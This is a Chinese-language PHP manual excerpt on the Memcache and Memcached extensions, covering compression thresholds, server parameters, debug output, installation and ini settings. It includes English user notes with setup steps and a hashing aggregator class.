$memcache->connect("127.0.0.1", 11211);

// Since memcache truncates the keys at 250 bytes both the get "250 a's" and "251 a's" will find the key in the cache
echo "*** Truncate key test ***<br>";
echo "set 251: " . ($memcache->set(str_repeat("a", 251), "value", 0, 1) ? "t" : "f") . "<br>";

echo "get 249: " . (($ret = $memcache->get(str_repeat("a", 249))) !== false ? "'$ret'" : "f") . "<br>";
echo "get 250: " . (($ret = $memcache->get(str_repeat("a", 250))) !== false ? "'$ret'" : "f") . "<br>";
echo "get 251: " . (($ret = $memcache->get(str_repeat("a", 251))) !== false ? "'$ret'" : "f") . "<br>";
echo "delete: " . ($memcache->delete(str_repeat("a", 250)) ? "t" : "f") . "<br><br>";

echo "*** Compress value test ***<br>";
echo "set 1024*1024-42: " . ($memcache->set("test", str_repeat("a", 1024*1024-42), 0, 1) ? "t" : "f") . "<br>";
echo "set 1024*1024-41: " . ($memcache->set("test", str_repeat("a", 1024*1024-41), 0, 1) ? "t" : "f") . "<br>";
echo "set 1024*1024 compressed: " . ($memcache->set("test", str_repeat("a", 1024*1024), MEMCACHE_COMPRESSED, 1) ? "t" : "f") . "<br>";
echo "delete: " . ($memcache->delete("test") ? "t" : "f") . "<br>";
$memcache->close();
?>

Output:
*** Truncate key test ***
set 251: t
get 249: f
get 250: 'value'
get 251: 'value'
delete: t

*** Compress value test ***
set 1024*1024-42: t
set 1024*1024-41: f
set 1024*1024 compressed: t
delete: t


开启大值自动压缩

  • ? Memcache::set
  • Memcache::setServerParams ?
  • PHP Manual
  • Memcache
  • 开启大值自动压缩

Memcache::setCompressThreshold

(PECL memcache >= 2.0.0)

Memcache::setCompressThreshold — 开启大值自动压缩

说明

Memcache::setCompressThreshold(int $threshold, float $min_savings = ?): bool

Memcache::setCompressThreshold() 开启对于大值的自动压缩。 同样你也可以使用函数 memcache_set_compress_threshold()。

Note:

此函数在 memcache 2.0.0 加入。

参数

threshold

控制多大值进行自动压缩的阈值。

min_saving

指定经过压缩实际存储的值的压缩率，支持的值必须在0和1之间。默认值是 0.2 表示 20% 压缩率。

返回值

成功时返回 true， 或者在失败时返回 false。

示例

Example #1 Memcache::setCompressThreshold() 示例

<?php

/* OO API */

$memcache_obj = new Memcache;
$memcache_obj->addServer('memcache_host', 11211);
$memcache_obj->setCompressThreshold(20000, 0.2);

/* procedural API */

$memcache_obj = memcache_connect('memcache_host', 11211);
memcache_set_compress_threshold($memcache_obj, 20000, 0.2);

?>

User Contributed Notes

spam at croler dot net 25-Nov-2013 03:41
The strangest thing is that you don't supply a server as parameter to setCompressThreshold(), so the value should be related to the memcache module, not the server itself. However it's required that you have added a server before you can set compress threshold.  The documentation does not specify if  the servers that are added after the call to this function will have the set value. I would test it and post, but  since it's not documented the behavior could change.
So if you want to be sure -> set the threshold every time you add a server.


运行时修改服务器参数和状态

  • ? Memcache::setCompressThreshold
  • Memcache 函数 ?
  • PHP Manual
  • Memcache
  • 运行时修改服务器参数和状态

Memcache::setServerParams

(PECL memcache >= 2.1.0)

Memcache::setServerParams — 运行时修改服务器参数和状态

说明

Memcache::setServerParams(
string $host,
int $port = 11211,
int $timeout = ?,
int $retry_interval = false,
bool $status = ?,
callable $failure_callback = ?
): bool

Memcache::setServerParams() 用于运行时修改服务器参数。 同样你可以使用函数 memcache_set_server_params()。

Note:

在 memcache 2.1.0 加入。

参数

host

服务端监听地址。

port

服务端监听端口。

timeout

连接持续（超时）时间（单位秒），默认值 1 秒，修改此值之前请三思，过长的连接持续时间可能会导致失去所有的缓存优势。

retry_interval

服务器连接失败时重试的间隔时间，默认值 15 秒。如果此参数设置为 -1 表示不重试。此参数和 persistent 参数在扩展以 dl() 函数动态加载的时候无效。

status

控制此服务器是否可以被标记为在线状态。设置此参数值为 false 并且 retry_interval 参数 设置为 -1 时允许将失败的服务器保留在一个池中以免影响 key 的分配算法。对于这个服务器的请求会进行故障转移或者立即失败， 这受限于 memcache.allow_failover 参数的设置。该参数默认 true，表明允许进行故障转移。

failure_callback

允许用户指定一个运行时发生错误后的回调函数。回调函数会在故障转移之前运行。回调函数会接受到两个参数，分别是失败主机的 主机名和端口号。

返回值

成功时返回 true， 或者在失败时返回 false。

示例

Example #1 Memcache::setServerParams() 示例

<?php

function _callback_memcache_failure($host, $port) {
print "memcache '$host:$port' failed";
}

/* OO API */

$memcache = new Memcache;

// 增加一台离线服务器
$memcache->addServer('memcache_host', 11211, false, 1, 1, -1, false);

// 使该服务器变为在线状态
$memcache->setServerParams('memcache_host', 11211, 1, 15, true, '_callback_memcache_failure');

/* procedural API */

$memcache_obj = memcache_connect('memcache_host', 11211);
memcache_set_server_params($memcache_obj, 'memcache_host', 11211, 1, 15, true, '_callback_memcache_failure');

?>

参见

  • Memcache::addServer() - 向连接池中添加一个memcache服务器
  • Memcache::getServerStatus() - 用于获取一个服务器的在线/离线状态

User Contributed Notes

There are no user contributed notes for this page.


Memcache 函数

Table of Contents

  • memcache_debug — 打开/关闭调试输出

User Contributed Notes

dweller at devonweller dot com 18-Nov-2009 09:02
In the memcache PECL extension version 2.2.5, the delete function does not work with memcached 1.4.3.  To work around this, here is a version of the memcache PECL extension with a patch provided by harv at pringo dot com applied:

http://code.google.com/p/phpmemcachepatch/downloads/list

To install: download

http://phpmemcachepatch.googlecode.com/files/memcache-2.2.5b.tgz

and do:

pecl install memcache-2.2.5b.tgz
restlessmind at I dot gmail dot HATE dot com dot SPAM 19-Feb-2008 01:50
If you are trying install this module for PHP 5.2 under Windows but it won't load on startup, make sure you have all your dependencies including the correct thread-safety build of PHP.

For hours I tried to track down why I couldn't load php_memcache.dll, and finally used Dependency Walker (from http://www.dependencywalker.com) on the .dll file.  This made me realize that while I was using the version of PHP 5.2.5 that was non-thread safe, the .dll offered by pecl4win was expecting the thread safe version of PHP.  Once I rectified this, everything worked fine.
contact at codeassembly dot com 30-Jan-2008 06:28
Note that there is no way to have your own hashing mechanism, the best way to group a set of objects to a server is to manually select the server to use.

I want to keep all objects for a certain user on the same server.

user_54_description
user_54_info
user_54_comments
user_54_etc
.
.

If I have all these objects on the same server I can get all data with only one call to memcache -> get (get_multi), so this improves performance a lot.

The way I do this is by hashing the User/Object id to to the number of servers.

<?php
$memcache_hosts = array
(
'192.168.1.1',
'192.168.1.2',
'192.168.1.3',
'192.168.1.4',
'192.168.1.5',
);

$server = $id % count($memcache_hosts);

$memcache = new Memcache;
$memcache->connect($memcache_hosts[$server], 11211);

//get or set your objects here
?>

You can leave other objects that you don't want to group to memcache extension to hash and select the appropiate server.
mogmios at gmail dot com 30-Sep-2007 09:03
When installing the memcache module for Apache/PHP with a non-standard location it seems like there is no way to define the location when configuring for build. You'll get an error complaining about being unable to find php_session.h. I modified configure to try the PREFIX location too and that seems to have worked fine.

    if test -f "${prefix}/include/php/ext/session/php_session.h"; then
      session_inc_path="${prefix}/include/php"
    elif test -f "$abs_srcdir/include/php/ext/session/php_session.h"; then
      session_inc_path="$abs_srcdir/include/php"
    elif test -f "$abs_srcdir/ext/session/php_session.h"; then
      session_inc_path="$abs_srcdir"
    elif test -f "$phpincludedir/ext/session/php_session.h"; then
      session_inc_path="$phpincludedir"
    fi
Colin Guthrie 23-Aug-2007 02:57
I have noticed a bug/documentation error:

The above docs say the following about the session.save_path arguement:
"Each url may contain parameters which are applied to that server, they are the same as for the Memcache::addServer() method. "

addServer method's docs say:
"port

    Point to the port where memcached is listening for connections. This parameter is optional and its default value is 11211. Set this parameter to 0 when using UNIX domain sockets. "

However when specifying the save_path, I have found that with PHP 5.2.3 and memcache 2.1.2 that the port is a *required* part of the string.

Hope that helps some people scratching their heads.
markfrawley at gmail dot com 26-Jun-2007 01:10
Here is a PHP4 backport of the above MemcacheAggregator class:

<?php
class MemcachedAggregator {
    var $connections;
    var $_servers;

    function MemcachedAggregator($servers) {
        $this->_servers = $servers;
        // Attempt to establish/retrieve persistent connections to all servers.
        // If any of them fail, they just don't get put into our list of active
        // connections.
        $this->connections = array();
        for ($i = 0, $n = count($servers); $i < $n; $i++) {
            $server = $servers[$i];
            $con = memcache_connect($server['host']);
            //memcache_debug(1);
            //$memcache = &new Memcache;
            //$con = $memcache->connect($server['host']);
            if (!($con == false)) {
                $this->connections[] = &$con;
            }

        }
    }

    function _getConForKey($key) {
        $hashCode = 0;
        for ($i = 0, $len = strlen($key); $i < $len; $i++) {
            $hashCode = (int)(($hashCode*33)+ord($key[$i])) & 0x7fffffff;
        }
        if (($ns = count($this->connections)) > 0) {
            return $this->connections[$hashCode%$ns];
            //return $this->connections[0];
        }
        return false;
    }

    function debug($on_off) {
        $result = false;
        for ($i = 0; $i < count($this->connections); $i++) {
            if ($this->connections[$i]->debug($on_off)) $result = true;
        }
        return $result;
    }

    function flush() {
        $result = false;
        for ($i = 0; $i < count($this->connections); $i++) {
            if ($this->connections[$i]->flush()) $result = true;
        }
        return $result;
    }

    /// The following are not implemented:
    ///getStats()
    ///getVersion()

    function get($key) {
        if (is_array($key)) {
            $dest = array();
            foreach ($key as $subkey) {
            $val = get($subkey);
            if (!($val === false)) $dest[$subkey] = $val;
            }
            return $dest;
        } else {
            $conn = &$this->_getConForKey($key);
            return $conn->get($key);
        }
    }

    function set($key, $var, $compress=0, $expire=0) {
        $conn = &$this->_getConForKey($key);
        return $conn->set($key, $var, $compress, $expire);
    }

    function add($key, $var, $compress=0, $expire=0) {
        $conn = &$this->_getConForKey($key);
        return $conn->add($key, $var, $compress, $expire);
    }

    function replace($key, $var, $compress=0, $expire=0) {
        $conn = &$this->_getConForKey($key);
        return $conn->replace($key, $var, $compress, $expire);
    }

    function delete($key, $timeout=0) {
        $conn = &$this->_getConForKey($key);
        return $conn->delete($key, $timeout);
    }

    function increment($key, $value=1) {
        $conn = &$this->_getConForKey($key);
        return $conn->increment($key, $value);
    }

    function decrement($key, $value=1) {
        $conn = &$this->_getConForKey($key);
        return $conn->decrement($key, $value);
    }

    function showStats($server=null) {
        $stats_out = '';
        if($server == null) {
            $i=0;
            foreach($this->connections as $conn) {
                $server = $this->_servers[$i];
                $stats_array = memcache_get_stats($conn);
                $stats_out .= "</br><b>Server: ".$server['host'].": </b><br/>";
                foreach($stats_array as $key => $val) {
                    $stats_out .= "$key => $val <br/>";
                }
                $i++;
            }
        }
        return $stats_out;
    }
}
?>
moazzamk at gmail dot com 18-May-2007 03:25
You can't call parent::__construct() in the constructor of your class if you are extending the memcache class. However, not running the constructor still initiates it and works fine.

<?php

// wrong

class a extends Memcache {
  function __construct($host, $port)
  {
    parent::__construct();
    $this->connect($host, $port);
  }

//correct
class a extends Memcache {
  function __construct($host, $port)
  {
    parent::__construct();
    $this->connect($host, $port);
  }

?>

I am guessing this applies to all native/PECL classes.
gil at squidoo dot com 10-Apr-2007 02:45
There is a tiny bug in the Aggregator class when using the flush() function. The reference to $connections should be $this->connections.

Change:

public function flush() {
  $result = false;
  for ($i = 0; $i < count($connections); $i++) {
    if ($this->connections[$i]->flush()) {
      $result = true;
    }
  }
  return $result;
}

To:

public function flush() {
  $result = false;
  for ($i = 0; $i < count($this->connections); $i++) {
    if ($this->connections[$i]->flush()) {
      $result = true;
    }
  }
  return $result;
}
jcastromail at yahoo dot es 08-Jan-2007 05:28
Hi there:

For run memcached in a windows box: (tested with latest php,apache and memcache in xp sp2)

a) download the php_memcache.dll it can be found in the pecl file.

b) put the dll in the extension folder (c:/php/extension for example). You cannot miss this folder because they are filled with php*.dll files.  In some cases the extension folder used is the system32, a non-standard way to put dll but still works.

c)configure the php.ini
; i put this like the latest extension
extension=php_memcache.dll

; i'm not sure about this but don't hurts..
[Memcache]
memcache.allow_failover = 1
memcache.max_failover_attempts=20
memcache.chunk_size =8192
memcache.default_port = 11211

d)This is important, memcached works with a EXTERNAL service. This service must be downloaded and installed prior to use the memcache.  I use:  http://jehiah.cz/projects/memcached-win32/

e)Remember to install the service and to start the service memcached.exe -d install for install and run services.msc for start the memcached service (or restart the system).

f) check the firewall ports.

Finally restart the apache/iis and runs some test. At least in phpinfo must show some info about the memcache.

Final notes :The "awe" about memcache is not only can help for speed some process (or reduce the cpu use), also can be used like a global session for store a whole object also this "global session" is shared among all the users, like APPLICATION used in ASP.  So (for example) it's possible to do a user counter without needing of database or writing a file.
ed at me3inc dot com 26-Oct-2006 02:47
Re. Installing the memcache extension:

I had all kinds of troubles getting it hooked up, because in all of the instructions I read I never got the last, most important step - you must have a php.ini and have in it "extension=memcache.so."

So, the steps:
First - ./configure with --enable-memcache. This should show in your phpinfo() at the top (even though nothing of the memcache extension works yet).

Second:
either pecl install memcache
OR
download the source
tar -xzvf [thesourcetarball]
phpize
./configure
make
make install

Finally: Add extension=memcache.so to your php.ini. (If you don't have one, it should go in the root of where php is called ie., /usr/local/lib)

Call phpinfo() and you should see a memcache section.
iliya at pisem dot net 19-Jan-2006 12:35
one more "intelligent" cache aggregator:
https://svn.shadanakar.org/onPHP/ trunk/core/Cache/AggregateCache.class.php
can be used with several cache connectors - memcached, filesystem, etc.
(remove whitespace manually)
Ron 14-Sep-2005 01:19
An improvement to the above:

The above class will cause an error if all cache servers are down.  The preferred behavior is to just have a cache miss (or take no action in the case of write operations) and return false, so the app can run in non-cached mode if all cache servers are down.

To make this happen, simply change the connection usage to look something like this in each affected function.  This code is for the get() function:

        $con = $this->_getConForKey($key);
        if ($con === false) return false;
        return $con->get($key);

Similarly, the affected code in the set() function would look like this:
    $con = $this->_getConForKey($key);
    if ($con === false) return false;
    return $con->set($key, $var, $compress, $expire);

Modify each function accordingly, and if all of your cache servers are down, you can still function (although more slowly due to the 100% cache miss rate).
Ron 14-Sep-2005 10:20
Here is a simple memcached aggregator class which distributes the cache among multiple cache servers.  If a server fails, the load is redistributed automatically.  It uses persistent connections.

The constructor takes an array of arrays, with each inner array representing a server, with a 'server' (string) attribute that is the IP addres or host name of the memcached server, and a 'port' (int) attribute that is the port number on which memcached is running on the server.

All of the existing memcached API functions are implemented except getStats() and getVersion(), which are server-specific.

<?php
class MemcachedAggregator {
    var $connections;

    public function __construct($servers) {
    // Attempt to establish/retrieve persistent connections to all servers.
    // If any of them fail, they just don't get put into our list of active
    // connections.
    $this->connections = array();
    for ($i = 0, $n = count($servers); $i < $n; $i++) {
        $server = $servers[$i];
        $con = memcache_pconnect($server['host'], $server['port']);
        if (!($con == false)) {
        $this->connections[] = $con;
        }
    }
    }

    private function _getConForKey($key) {
    $hashCode = 0;
    for ($i = 0, $len = strlen($key); $i < $len; $i++) {
        $hashCode = (int)(($hashCode*33)+ord($key[$i])) & 0x7fffffff;
    }
    if (($ns = count($this->connections)) > 0) {
        return $this->connections[$hashCode%$ns];
    }
    return false;
    }

    public function debug($on_off) {
    $result = false;
    for ($i = 0; $i < count($connections); $i++) {
        if ($this->connections[$i]->debug($on_off)) $result = true;
    }
    return $result;
    }

    public function flush() {
    $result = false;
    for ($i = 0; $i < count($connections); $i++) {
        if ($this->connections[$i]->flush()) $result = true;
    }
    return $result;
    }

/// The following are not implemented:
///getStats()
///getVersion()

    public function get($key) {
    if (is_array($key)) {
        $dest = array();
        foreach ($key as $subkey) {
        $val = get($subkey);
        if (!($val === false)) $dest[$subkey] = $val;
        }
        return $dest;
    } else {
        return $this->_getConForKey($key)->get($key);
    }
    }

    public function set($key, $var, $compress=0, $expire=0) {
    return $this->_getConForKey($key)->set($key, $var, $compress, $expire);
    }

    public function add($key, $var, $compress=0, $expire=0) {
    return $this->_getConForKey($key)->add($key, $var, $compress, $expire);
    }

    public function replace($key, $var, $compress=0, $expire=0) {
    return $this->_getConForKey($key)->replace
        ($key, $var, $compress, $expire);
    }

    public function delete($key, $timeout=0) {
    return $this->_getConForKey($key)->delete($key, $timeout);
    }

    public function increment($key, $value=1) {
    return $this->_getConForKey($key)->increment($key, $value);
    }

    public function decrement($key, $value=1) {
    return $this->_getConForKey($key)->decrement($key, $value);
    }

}
?>


打开/关闭调试输出

  • ? Memcache 函数
  • Memcached ?
  • PHP Manual
  • Memcache 函数
  • 打开/关闭调试输出

memcache_debug

(PECL memcache >= 0.2.0)

memcache_debug — 打开/关闭调试输出

说明

memcache_debug(bool $on_off): bool

如果参数 on_off 为 true，memcache_debug() 打开调试输出，如果为 false，则关闭调试输出。

Note:

memcache_debug() 仅在 PHP 以 --enable-debug 选项编译时可以访问，并且在这种情况下始终返回 true，其他情况下此函数无效并始终返回 false。

参数

on_off

如果为 true，则打开调试输出。如果为 false 则关闭调试输出。

返回值

当 PHP 以 --enalbe-debug 选项编译时返回 true 其他情况下返回 false。

User Contributed Notes

csongor at halmai dot hu 15-Jul-2014 12:43
In PHP 5.5.14 this function returns NULL (not TRUE or FALSE). I have no information about other PHP releases.
markus at buyways dot nl 22-Oct-2009 02:39
This method is deprecated in at least PHP 5.2.6

memcache_debug() [<a href='function.memcache-debug'>function.memcache-debug</a>]: memcache_debug() is deprecated, please use a debugger (like Eclipse + CDT)


Memcached

  • 简介
  • 安装/配置
    • 需求
    • 安装
    • 运行时配置
    • 资源类型
  • 预定义常量
  • 超时时间
  • 回调
    • 结果回调
    • 通读缓存回调
  • Sessions支持
  • Memcached — Memcached 类
    • Memcached::add — 向新 key 添加元素
    • Memcached::addByKey — 在特定服务器上向新 key 添加元素
    • Memcached::addServer — 向服务器池增加服务器
    • Memcached::addServers — 向服务器池中增加多台服务器
    • Memcached::append — 向已存在元素追加数据
    • Memcached::appendByKey — 向指定服务器上已存在元素追加数据
    • Memcached::cas — 比较并交换值
    • Memcached::casByKey — 在指定服务器上比较并交换值
    • Memcached::__construct — 创建 Memcached 实例
    • Memcached::decrement — 减小数值元素的值
    • Memcached::decrementByKey — Decrement numeric item's value, stored on a specific server
    • Memcached::delete — 删除元素
    • Memcached::deleteByKey — 从指定的服务器删除元素
    • Memcached::deleteMulti — Delete multiple items
    • Memcached::deleteMultiByKey — Delete multiple items from a specific server
    • Memcached::fetch — 读取下一个结果
    • Memcached::fetchAll — 读取所有剩余结果
    • Memcached::flush — 作废缓存中的所有元素
    • Memcached::get — 检索元素
    • Memcached::getAllKeys — Gets the keys stored on all the servers
    • Memcached::getByKey — 从特定的服务器检索元素
    • Memcached::getDelayed — 请求多个元素
    • Memcached::getDelayedByKey — 从指定的服务器上请求多个元素
    • Memcached::getMulti — 检索多个元素
    • Memcached::getMultiByKey — 从特定服务器检索多个元素
    • Memcached::getOption — 获取 Memcached 的选项值
    • Memcached::getResultCode — 返回最后一次操作的结果代码
    • Memcached::getResultMessage — 返回最后一次操作的结果描述消息
    • Memcached::getServerByKey — 获取一个 key 所映射的服务器信息
    • Memcached::getServerList — 获取服务器池中的服务器列表
    • Memcached::getStats — 获取服务器池的统计信息
    • Memcached::getVersion — 获取服务器池中所有服务器的版本信息
    • Memcached::increment — 增加数值元素的值
    • Memcached::incrementByKey — Increment numeric item's value, stored on a specific server
    • Memcached::isPersistent — Check if a persitent connection to memcache is being used
    • Memcached::isPristine — Check if the instance was recently created
    • Memcached::prepend — 向一个已存在的元素前面追加数据
    • Memcached::prependByKey — 在指定服务器上追加数据到已存在的元素
    • Memcached::quit — 关闭所有打开的链接
    • Memcached::replace — 替换已存在 key 下的元素
    • Memcached::replaceByKey — 在指定服务器上，替换已存在 key 下的元素
    • Memcached::resetServerList — Clears all servers from the server list
    • Memcached::set — 存储一个元素
    • Memcached::setByKey — 将元素存储到指定的服务器上
    • Memcached::setMulti — 存储多个元素
    • Memcached::setMultiByKey — 在指定服务器存储多个元素
    • Memcached::setOption — 设置一个 memcached 选项
    • Memcached::setOptions — Set Memcached options
    • Memcached::setSaslAuthData — Set the credentials to use for authentication
    • Memcached::touch — Set a new expiration on an item
    • Memcached::touchByKey — Set a new expiration on an item on a specific server
  • MemcachedException — MemcachedException类

User Contributed Notes

Moradnejad 07-Dec-2020 12:54
## Installing Memcached on Ubuntu

To install Memcached on Ubuntu, go to terminal and type the following commands ?

$sudo apt-get update
$sudo apt-get install memcached

## Confirming Memcached Installation

To confirm if Memcached is installed or not, you need to run the command given below. This command shows that Memcached is running on the default port 11211.

$ps aux | grep memcached

To run Memcached server on a different port, execute the command given below. This command starts the server on the TCP port 11111 and listens on the UDP port 11111 as a daemon process.

$memcached -p 11111 -U 11111 -u user -d

You can run multiple instances of Memcached server through a single installation.
gabriel dot maybrun at demandmedia dot com 04-Sep-2014 11:59
GOTCHA: Recently I was tasked with moving from PECL memcache to PECL memcached and ran into a major problem -- memcache and memcached serialize data differently, meaning that data written with one library can't necessarily be read with the other library.

For example, If you write an object or an array with memcache, it's interpreted as an integer by memcached.  If you write it with memcached, it's interpreted as a string by memcache.

tl;dr - You can't safely switch between memcache and memcached without a either a cache flush or isolated cache environments.

<?php
$memcache = new Memcache;
$memcacheD = new Memcached;
$memcache->addServer($host);
$memcacheD->addServers($servers);

$checks = array(
    123,
    4542.32,
    'a string',
    true,
    array(123, 'string'),
    (object)array('key1' => 'value1'),
);
foreach ($checks as $i => $value) {
    print "Checking WRITE with Memcache\n";
    $key = 'cachetest' . $i;
    $memcache->set($key, $value);
    usleep(100);
    $val = $memcache->get($key);
    $valD = $memcacheD->get($key);
    if ($val !== $valD) {
        print "Not compatible!";
        var_dump(compact('val', 'valD'));
    }

    print "Checking WRITE with MemcacheD\n";
    $key = 'cachetest' . $i;
    $memcacheD->set($key, $value);
    usleep(100);
    $val = $memcache->get($key);
    $valD = $memcacheD->get($key);
    if ($val !== $valD) {
        print "Not compatible!";
        var_dump(compact('val', 'valD'));
    }
}
davidt 03-Jan-2013 01:14
The module also supports SASL authentication, it just isn't documented sadly. You'll need to run the following code:

<?php
$m = new Memcached();
$m->setOption(Memcached::OPT_BINARY_PROTOCOL, true);
$m->setSaslAuthData("user-1", "pass");
?>

You need to enable the "memcached.use_sasl = 1" ini option for memcached in the php.ini file.
joelhy 22-May-2011 08:27
For those confuse about the memcached extension and the memcache extension, the short story is that both of them are clients of memcached server, and the memcached extension offer more features than the memcache extension.


简介

» memcached 是一个高性能分布式的内存对象缓存系统， 通常被用于降低数据库加载压力以提高动态 web 应用的响应速度。

此扩展使用了 libmemcached 库提供的 api 与 memcached 服务端进行交互。它同样提供了一个 session 处理程序（memcached）。 它同时提供了一个 session 处理程序（memcached）。

关于 libmemcached 的更多信息可以在» http://libmemcached.org/libMemcached.html查看。

User Contributed Notes

There are no user contributed notes for this page.


需求

该扩展要求 » libmemcached 客户端库（版本 1.0.0 或更高）。对于 SASL 身份验证支持，libmemcached 必须在启用 SASL 的情况下编译。

自版本 0.2.0 起，此扩展需要 PHP 版本 5.2.0 或更高版本。

User Contributed Notes

There are no user contributed notes for this page.


安装

安装此 PECL 扩展相关的信息可在手册中标题为 PECL 扩展的安装章节中找到。更多信息如新的发行版本、下载、源文件、 维护人员信息及变更日志等，都在此处： » https://pecl.php.net/package/memcached.

如果 libmemcached 被安装在一个非标准路径，使用 --with-libmemcached-dir=DIR 来指定路径，DIR 就是 libmemcached 安装时的 prefix 参数。这个路径需要包含文件 include/libmemcached/memcached.h。

如果要支持压缩就需要 zlib。对于非标准安装的 zlib 库，使用 --with-zlib-dir=DIR 来指定 zlib 安装路径，DIR 就是 zib 安装时的 prefix 参数。

session 处理程序的支持默认是开启的。如果要关闭它，使用选项 --disable-memcached-session。

默认情况下禁用 SASL 身份验证支持。要启用，请使用 --enable-memcached-sasl。这要求已安装 libsasl2，并且已在启用 SASL 支持的情况下构建 libmemcached。

User Contributed Notes

info at kgsw dot de 19-Jun-2019 08:35
For PHP 7 seems to work:

    $ sudo apt-get install memcached
    $ sudo apt-get install php-memcached
    $ sudo apachectl graceful

## php 7.2.19 / ubuntu 18.04.1

$mc = new Memcached();
$mc->addServer("localhost", 11211);
...
qeremy [at] gmail [dot] com 21-Feb-2012 09:32
Do not lose your time to install it on Ubuntu just trying "sudo apt-get install php5-memcached". There is something you need to do that sure installing memcached. Anyway...

Step 1.
$ sudo apt-get install memcached
Step 2.
$ sudo apt-get install php5-memcached
Step 3.
$ sudo /etc/init.d/apache2 restart

Ready!

What about some test?

<?php
error_reporting(E_ALL & ~E_NOTICE);

$mc = new Memcached();
$mc->addServer("localhost", 11211);

$mc->set("foo", "Hello!");
$mc->set("bar", "Memcached...");

$arr = array(
    $mc->get("foo"),
    $mc->get("bar")
);
var_dump($arr);
?>

Hoping to help someone.
~Kerem
petermiller1986 att gmail dotttttttt com 11-Feb-2012 07:09
i'm planning on using membase for my website and i was really struggling to install the memcashed php client on ubuntu with pear, but actually there is an easier way:

$ sudo apt-get install php5-memcached

you dont even need to install the membase server first - this can be done afterwards. hope this helps someone!
gpuk at dasserver dot com 02-Mar-2010 01:50
At present memcached-1.0.0 does not compile with libmemcached-0.38. This is apparently due to libmemcached chaning the API.

For evidence, see this bug: http://pecl.php.net/bugs/bug.php?id=17070

Note: I am encountering the same 'memcached_st' has no member named 'hash' error on a Debian lenny amd_64 box.
Clint Priest 09-Nov-2009 10:53
If your server has --enable-json=shared as mine did, this extension requires you to have extension=json.so to load properly.


运行时配置

这些函数的行为受 php.ini 中的设置影响。

Memcached 配置选项
名字 | 默认 | 可修改范围 | 更新日志
memcached.sess_locking | On | PHP_INI_ALL | 自 memcached 0.1.0 起可用。
memcached.sess_consistent_hash | On | PHP_INI_ALL | 自 memcached 2.1.0 起可用。自 memcached 3.0.0 起默认值为 On。
memcached.sess_binary | Off | PHP_INI_ALL | 自 memcached 2.0.0 起可用。自 memcached 3.0.0 起改用 memcached.sess_binary_protocol。
memcached.sess_lock_wait | 150000 | PHP_INI_ALL | 自 memcached 0.1.0 起可用。自 memcached 3.0.0 起移除。
memcached.sess_prefix | memc.sess.key. | PHP_INI_ALL | 自 memcached 0.1.0 起可用。
memcached.sess_number_of_replicas | 0 | PHP_INI_ALL | 自 memcached 2.1.0 起可用。
memcached.sess_randomize_replica_read | Off | PHP_INI_ALL | 自 memcached 2.1.0 起可用。
memcached.sess_remove_failed | On | PHP_INI_ALL | 自 memcached 2.1.0 起可用。自 memcached 3.0.0 起改用 memcached.sess_remove_failed_servers。
memcached.compression_type | fastlz | PHP_INI_ALL | 自 memcached 0.1.0 起可用。
memcached.compression_factor | 1.3 | PHP_INI_ALL | 自 memcached 0.1.0 起可用。
memcached.compression_threshold | 2000 | PHP_INI_ALL | 自 memcached 0.1.0 起可用。
memcached.serializer | igbinary | PHP_INI_ALL | 自 memcached 0.1.0 起可用。
memcached.use_sasl | Off | PHP_INI_ALL | 自 memcached 2.2.0 起可用。自 memcached 3.0.0 起移除。
memcached.default_binary_protocol | Off | PHP_INI_ALL | 自 memcached 3.0.0 起可用。
memcached.default_connect_timeout | 0 | PHP_INI_ALL | 自 memcached 3.0.0 起可用。
memcached.default_consistent_hash | Off | PHP_INI_ALL | 自 memcached 3.0.0 起可用。
memcached.sess_binary_protocol | On | PHP_INI_ALL | 自 memcached 3.0.0 起可用。替换 memcached.sess_binary。
memcached.sess_connect_timeout | 1000 | PHP_INI_ALL | 自 memcached 2.2.0 起可用。
memcached.sess_consistent_hash_type | ketama | PHP_INI_ALL | 自 memcached 3.1.0 起可用。
memcached.sess_lock_expire | 0 | PHP_INI_ALL | 自 memcached 2.2.0 起可用。
memcached.sess_lock_retries | 5 | PHP_INI_ALL | 自 memcached 3.0.0 起可用。
memcached.sess_lock_wait_max | 150 | PHP_INI_ALL | 自 memcached 3.0.0 起可用。自 memcached 3.1.0 起默认值为 150（之前 2000）。
memcached.sess_lock_wait_min | 150 | PHP_INI_ALL | 自 memcached 3.0.0 起可用。自 memcached 3.1.0 起默认值为 150（之前 1000）。
memcached.sess_persistent | Off | PHP_INI_ALL | 自 memcached 3.0.0 起可用。
memcached.sess_remove_failed_servers | Off | PHP_INI_ALL | 自 memcached 3.0.0 起可用。替换 memcached.sess_remove_failed。
memcached.sess_server_failure_limit | 0 | PHP_INI_ALL | 自 memcached 3.0.0 起可用。
memcached.sess_sasl_password | null | PHP_INI_ALL | 自 memcached 2.2.0 起可用。
memcached.sess_sasl_username | null | PHP_INI_ALL | 自 memcached 2.2.0 起可用。
memcached.store_retry_count | 0 | PHP_INI_ALL | 自 memcached 2.2.0 起可用。自 memcached 3.2.0 起默认值为 0（之前是 2）。

这是配置指令的简短说明。

memcached.sess_locking bool

开启 session 支持。有效值: On、Off，默认值 On。

memcached.sess_consistent_hash bool

如果为 On，session 处理程序则使用一致性哈希（libketama）。 使用一致性哈希，可以保证你在增加或删除 memcached 服务器节点的时候不会导致 session 大规模的失效。 默认是 On。

memcached.sess_binary bool

Memcached session 是否使用二进制模式。如果 Libmemcached 开启二进制模式。默认值是 Off。

memcached.sess_lock_wait int

Session 自旋锁等待时间（微秒）。请小心设置此值。值的类型是整数，当此值被设置为 0 的时候，lock wait 的时间将会使用系统默认值，Memcached 扩展中默认值是 150000。

memcached.sess_prefix string

设置 memcached session key 的前缀。session 前缀最长为 219 字节长的字符串。默认值是 memc.sess.key。

memcached.sess_number_of_replicas int

Write data to a number of additional memcached servers. This is "poor man's HA" as libmemcached calls it. If this value is positive and sess_remove_failed_servers is enabled when a memcached server fails the session will continue to be available from a replica. However, if the failed memcache server becomes available again it will read the session from there which could have old data or no data at all. Default is 0.

memcached.sess_randomize_replica_read bool

Memcached session 是否随机复制读。

memcached.sess_remove_failed int

是否允许自动剔除出故障的 memcached 服务器。

memcached.compression_type string

设置 memcached 的压缩类型，允许的值为 fastlz、zlib。默认值是 fastlz（快速无损压缩，性能不错）。

memcached.compression_factor float

压缩因子。保存时压缩因子超过设置的极限才会将数据压缩存储。存储压缩条件：plain_len > comp_len * factor。默认是 1.3（节省 23% 的空间）。

memcached.compression_threshold int

压缩阈值。不压缩的序列化值低于此阈值。默认值是 2000 字节。

memcached.serializer string

设置缓存对象的默认序列化程序。有效值：php、igbinary、json、json_array、msgpack。

json

